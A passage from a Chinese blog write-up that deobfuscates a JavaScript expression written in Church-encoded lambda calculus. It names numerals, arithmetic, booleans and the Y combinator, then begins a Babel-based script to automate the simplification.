class="params">d4</span>=&gt;</span><span class="title function_">d3</span>(d3)(d4))))(<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span><span class="function"><span class="params">d4</span>=&gt;</span>(<span class="function"><span class="params">d5</span>=&gt;</span><span class="function"><span class="params">e1</span>=&gt;</span>(<span class="function"><span class="params">e2</span>=&gt;</span><span class="title function_">e2</span>(<span class="function"><span class="params">e3</span>=&gt;</span><span class="function"><span class="params">e4</span>=&gt;</span><span class="function"><span class="params">e5</span>=&gt;</span>e5)(<span class="function"><span class="params">e3</span>=&gt;</span><span class="function"><span class="params">e4</span>=&gt;</span>e3))((<span class="function"><span class="params">e2</span>=&gt;</span><span class="function"><span class="params">e3</span>=&gt;</span><span class="title function_">e3</span>(<span class="function"><span class="params">e4</span>=&gt;</span><span class="function"><span class="params">e5</span>=&gt;</span><span class="function"><span class="params">e8</span>=&gt;</span><span class="title function_">e4</span>(<span class="function"><span class="params">e6</span>=&gt;</span><span class="function"><span class="params">e7</span>=&gt;</span><span class="title function_">e7</span>(<span class="title function_">e6</span>(e5)))(<span class="function"><span class="params">e6</span>=&gt;</span>e8)(<span class="function"><span class="params">e6</span>=&gt;</span>e6))(e2))((<span class="function"><span class="params">e2</span>=&gt;</span><span class="function"><span class="params">e3</span>=&gt;</span><span class="function"><span class="params">e4</span>=&gt;</span><span class="title function_">e3</span>(<span class="title function_">e2</span>(e3)(e4)))(d5))(e1)))(d3)(d4)(<span class="function"><span class="params">d5</span>=&gt;</span>d3)(<span class="function"><span class="params">d5</span>=&gt;</span><span class="title function_">d2</span>((<span class="function"><span class="params">e1</span>=&gt;</span><span class="function"><span class="params">e2</span>=&gt;</span><span class="title function_">e2</span>(<span class="function"><span class="params">e3</span>=&gt;</span><span class="function"><span class="params">e4</span>=&gt;</span><span class="function"><span class="params">e5</span>=&gt;</span><span class="title function_">e3</span>(<span class="function"><span class="params">e8</span>=&gt;</span><span class="function"><span class="params">e6</span>=&gt;</span><span class="title function_">e6</span>(<span class="title function_">e8</span>(e4)))(<span class="function"><span class="params">e8</span>=&gt;</span>e5)(<span class="function"><span class="params">e8</span>=&gt;</span>e8))(e1))(d3)(d4))(d4))(<span class="function"><span class="params">d5</span>=&gt;</span><span class="function"><span class="params">e1</span>=&gt;</span>e1))((<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span><span class="function"><span class="params">d4</span>=&gt;</span><span class="title function_">d2</span>(<span class="title function_">d3</span>(d4)))(<span class="title function_">b1</span>(b2)((<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span><span class="function"><span class="params">d4</span>=&gt;</span><span class="title function_">d2</span>(<span class="function"><span class="params">d5</span>=&gt;</span><span class="function"><span class="params">e1</span>=&gt;</span><span class="title function_">e1</span>(<span class="title function_">d5</span>(d3)))(<span class="function"><span class="params">d5</span>=&gt;</span>d4)(<span class="function"><span class="params">d5</span>=&gt;</span>d5))(c1))(c2))(b2))(c2))(<span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span>d2))(a1)(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b1</span>(<span class="title function_">b1</span>(b2))))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b2</span>(<span class="title function_">b1</span>(b2)(c1)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b2</span>(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b1</span>(b2)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b2</span>(<span class="title function_">b1</span>(b2)(c1)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b2</span>(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b1</span>(b2)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b2</span>(<span class="title function_">b1</span>(b2)(c1)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b2</span>(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b1</span>(b2)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b2</span>(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b1</span>(b2)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b2</span>(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b1</span>(b2)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b2</span>(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b1</span>(b2)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b2</span>(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b1</span>(b2)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b2</span>(<span class="title function_">b1</span>(b2)(c1)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b2</span>(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b1</span>(b2)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b2</span>(<span class="title function_">b1</span>(b2)(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)))))))))))))))(a2))(<span class="function"><span class="params">b1</span>=&gt;</span>b1)(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(a2)(a1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(a2)(a1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(a2)(a1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(a2)(a1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(a2)(a1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(a2)(a1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(a2)(a1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(a2)(a1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(a2)(a1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(a2)(a1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(a2)(a1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(a2)(a1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(a2)(a1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(a2)(a1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(a2)(a1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(b1)(b2))(a2)(a1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span><span class="function"><span class="params">b1</span>=&gt;</span><span class="title function_">b1</span>(a1)(a2))(<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>a1)(<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>a1))(c16))(c15))(c14))(c13))(c12))(c11))(c10))(c9))(c8))(c7))(c6))(c5))(c4))(c3))(c2))(c1))((<span class="function"><span class="params">a1</span>=&gt;</span>(<span class="function"><span class="params">a2</span>=&gt;</span><span class="title function_">a1</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="title function_">a2</span>(a2)(b1)))(<span class="function"><span class="params">a2</span>=&gt;</span><span class="title function_">a1</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="title function_">a2</span>(a2)(b1))))(<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span><span class="function"><span class="params">b1</span>=&gt;</span>(<span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span>(<span class="function"><span class="params">c2</span>=&gt;</span><span class="title function_">c2</span>(<span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span>d3)(<span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span>d1))((<span class="function"><span class="params">c2</span>=&gt;</span><span class="function"><span class="params">d1</span>=&gt;</span><span class="title function_">d1</span>(<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span><span class="function"><span class="params">d4</span>=&gt;</span><span class="title function_">d2</span>(<span class="function"><span class="params">d5</span>=&gt;</span><span class="function"><span class="params">e1</span>=&gt;</span><span class="title function_">e1</span>(<span class="title function_">d5</span>(d3)))(<span class="function"><span class="params">d5</span>=&gt;</span>d4)(<span class="function"><span class="params">d5</span>=&gt;</span>d5))(c2))(c1)(b2)))(a2)(b1)(<span class="function"><span class="params">b2</span>=&gt;</span>(<span class="function"><span class="params">c1</span>=&gt;</span><span class="function"><span class="params">c2</span>=&gt;</span><span class="function"><span class="params">d1</span>=&gt;</span><span class="title function_">d1</span>(c1)(c2))(<span class="function"><span class="params">c1</span>=&gt;</span><span class="function"><span class="params">c2</span>=&gt;</span>c1)(<span class="function"><span class="params">c1</span>=&gt;</span><span class="function"><span class="params">c2</span>=&gt;</span>c1))(<span class="function"><span class="params">b2</span>=&gt;</span>(<span class="function"><span class="params">c1</span>=&gt;</span><span class="function"><span class="params">c2</span>=&gt;</span>(<span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span><span class="title function_">d3</span>(d1)(d2))(<span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span>d2)((<span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span><span class="title function_">d3</span>(d1)(d2))(c2)(c1)))(<span class="title function_">a1</span>((<span class="function"><span class="params">c1</span>=&gt;</span><span class="function"><span class="params">c2</span>=&gt;</span><span class="function"><span class="params">d1</span>=&gt;</span><span class="title function_">c2</span>(<span class="title function_">c1</span>(c2)(d1)))(a2))(b1))(a2))(<span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span>b2))(<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span><span class="title function_">a1</span>(<span class="title function_">a1</span>(<span class="title function_">a1</span>(a2))))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span><span class="function"><span class="params">b1</span>=&gt;</span><span class="title function_">a2</span>(<span class="title function_">a1</span>(a2)(b1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span><span class="function"><span class="params">b1</span>=&gt;</span><span class="title function_">a1</span>(<span class="title function_">a2</span>(b1)))(<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span><span class="title function_">a1</span>(<span class="title function_">a1</span>(a2)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span><span class="title function_">a2</span>(a1))(<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span><span class="title function_">a1</span>(<span class="title function_">a1</span>(<span class="title function_">a1</span>(a2))))(<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span><span class="title function_">a1</span>(<span class="title function_">a1</span>(a2))))))))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span><span class="function"><span class="params">b1</span>=&gt;</span><span class="title function_">a1</span>(<span class="title function_">a2</span>(b1)))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span><span class="function"><span class="params">b1</span>=&gt;</span><span class="title function_">a2</span>(<span class="title function_">a1</span>(a2)(b1)))(<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span><span class="title function_">a1</span>(<span class="title function_">a1</span>(<span class="title function_">a1</span>(a2)))))((<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span><span class="function"><span class="params">b1</span>=&gt;</span><span class="title function_">a2</span>(<span class="title function_">a1</span>(a2)(b1)))(<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span><span class="title function_">a1</span>(<span class="title function_">a1</span>(<span class="title function_">a1</span>(a2))))))(<span class="literal">true</span>)(<span class="literal">false</span>)</span><br></pre></td></tr></table></figure><blockquote><p>下方的内容已经过时，可以直接看 <strong>Day 2</strong> 的自动反混淆部分。</p></blockquote><p>注意到一些反复出现的模式，把它们单独拎出来命名：</p><ol><li><strong>Church Number</strong></li></ol><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title function_">f0</span> = f =&gt; <span class="function"><span class="params">x</span> =&gt;</span> x</span><br><span class="line"><span class="keyword">const</span> <span class="title function_">f1</span> = f =&gt; <span class="function"><span class="params">x</span> =&gt;</span> <span class="title function_">f</span>(x)</span><br><span class="line"><span class="keyword">const</span> <span class="title function_">f2</span> = f =&gt; <span class="function"><span class="params">x</span> =&gt;</span> <span class="title function_">f</span>(<span class="title function_">f</span>(x))</span><br><span class="line"><span class="keyword">const</span> <span class="title function_">f3</span> = f =&gt; <span class="function"><span class="params">x</span> =&gt;</span> <span class="title function_">f</span>(<span class="title function_">f</span>(<span class="title function_">f</span>(x)))</span><br></pre></td></tr></table></figure><ol start="2"><li>乘法运算符：mul(f_i)(f_j) &#x3D; f_{i*j}</li></ol><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title function_">mul</span> = a =&gt; <span class="function"><span class="params">b</span> =&gt;</span> <span class="function"><span class="params">f</span> =&gt;</span> <span class="title function_">a</span>(<span class="title function_">b</span>(f))</span><br></pre></td></tr></table></figure><ol start="3"><li><code>+1</code> 运算符：inc(f_i) &#x3D; f_{i+1}</li></ol><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title function_">inc</span> = f =&gt; <span class="function"><span class="params">g</span> =&gt;</span> <span class="function"><span class="params">x</span> =&gt;</span> <span class="title function_">g</span>(<span class="title function_">f</span>(g)(x))</span><br></pre></td></tr></table></figure><p>结合上述两个性质，可以先把这个东西化简了（一共出现两次）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">(inc)((mul)(f2)((inc)((mul)(f2)((inc)((mul)(f2)((mul)(f2)((mul)(f2)((mul)(f2)((mul)(f2)((inc)((mul)(f2)((inc)(f0)))))))))))))</span><br><span class="line"></span><br><span class="line"><span class="number">1</span>+(<span class="number">2</span>*(<span class="number">1</span>+(<span class="number">2</span>*(<span class="number">1</span>+(<span class="number">2</span>*(<span class="number">2</span>*(<span class="number">2</span>*(<span class="number">2</span>*(<span class="number">2</span>*(<span class="number">1</span>+(<span class="number">2</span>*(<span class="number">1</span>+(<span class="number">0</span>)))))))))))))</span><br></pre></td></tr></table></figure><p>最后得到是 f_{391} 。</p><ol start="4"><li>幂运算符：pow(f_i)(f_j) &#x3D; f_{i^j} （只出现一次）</li></ol><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title function_">pow</span> = f =&gt; <span class="function"><span class="params">g</span> =&gt;</span> <span class="title function_">g</span>(f)</span><br></pre></td></tr></table></figure><ol start="5"><li>这个不知道有啥用，先替换一下（补充：还真有用。叫做 <code>CONS</code>）</li></ol><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title function_">xyf</span> = x =&gt; <span class="function"><span class="params">y</span> =&gt;</span> <span class="function"><span class="params">f</span> =&gt;</span> <span class="title function_">f</span>(x)(y)</span><br></pre></td></tr></table></figure><ol start="6"><li><code>true</code> 和 <code>false</code> 的 <strong>λ 表达式</strong></li></ol><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title function_">TRUE</span> = x =&gt; <span class="function"><span class="params">y</span> =&gt;</span> x</span><br><span class="line"><span class="keyword">const</span> <span class="title function_">FALSE</span> = x =&gt; <span class="function"><span class="params">y</span> =&gt;</span> y</span><br></pre></td></tr></table></figure><ol start="7"><li><strong>Y 组合子</strong></li></ol><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title function_">Y</span> = f =&gt; (<span class="function"><span class="params">a</span> =&gt;</span> <span class="title function_">f</span>(<span class="function"><span class="params">b</span> =&gt;</span> <span class="title function_">a</span>(a)(b)))(<span class="function"><span class="params">a</span> =&gt;</span> <span class="title function_">f</span>(<span class="function"><span class="params">b</span> =&gt;</span> <span class="title function_">a</span>(a)(b)))</span><br></pre></td></tr></table></figure><hr><h4 id="Day-2"><a href="#Day-2" class="headerlink" title="Day 2"></a>Day 2</h4><p>之前大部分工作都是靠人类智慧化简，然而做完了才在 Github 上面找到一个<a href="https://github.com/owieczka/lambda-calculus-python/">神秘仓库</a>，看样子就是用这个仓库做的混淆。于是对照仓库中的函数命名写了自动化脚本。</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> &#123; readFileSync &#125; = <span class="built_in">require</span>(<span class="string">&#x27;fs&#x27;</span>)</span><br><span class="line"><span class="keyword">const</span> parser = <span class="built_in">require</span>(<span class="string">&#x27;@babel/parser&#x27;</span>)</span><br><span class="line"><span class="keyword">const</span> traverse = <span class="built_in">require</span>(<span class="string">&#x27;@babel/traverse&#x27;</span>).<span class="property">default</span></span><br><span class="line"><span class="keyword">const</span> generate = <span class="built_in">require</span>(<span class="string">&#x27;@babel/generator&#x27;</span>).<span class="property">default</span></span><br><span class="line"><span class="keyword">const</span> t = <span class="built_in">require</span>(<span class="string">&#x27;@babel/types&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> code = <span class="title function_">readFileSync</span>(<span class="string">&#x27;encrypted.js&#x27;</span>, <span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line"><span class="keyword">const</span> ast = parser.<span class="title function_">parse</span>(code)</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> <span class="title function_">isSameType</span> = (<span class="params">type, node1, node2</span>) =&gt; t[type](node1) &amp;&amp; t[type](node2)</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 递归匹配 AST 节点和模式。</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * 此函数检查给定的 `ast` 是否匹配 `pattern` 的结构和内容。</span></span><br><span class="line"><span class="comment"> * 它支持匹配箭头函数、函数调用和标识符。</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">import(&#x27;@babel/types&#x27;).Expression</span>&#125; <span class="variable">ast</span> - 要匹配的 AST 节点</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">import(&#x27;@babel/types&#x27;).Expression</span>&#125; <span class="variable">pattern</span> - 匹配模式</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@returns</span> 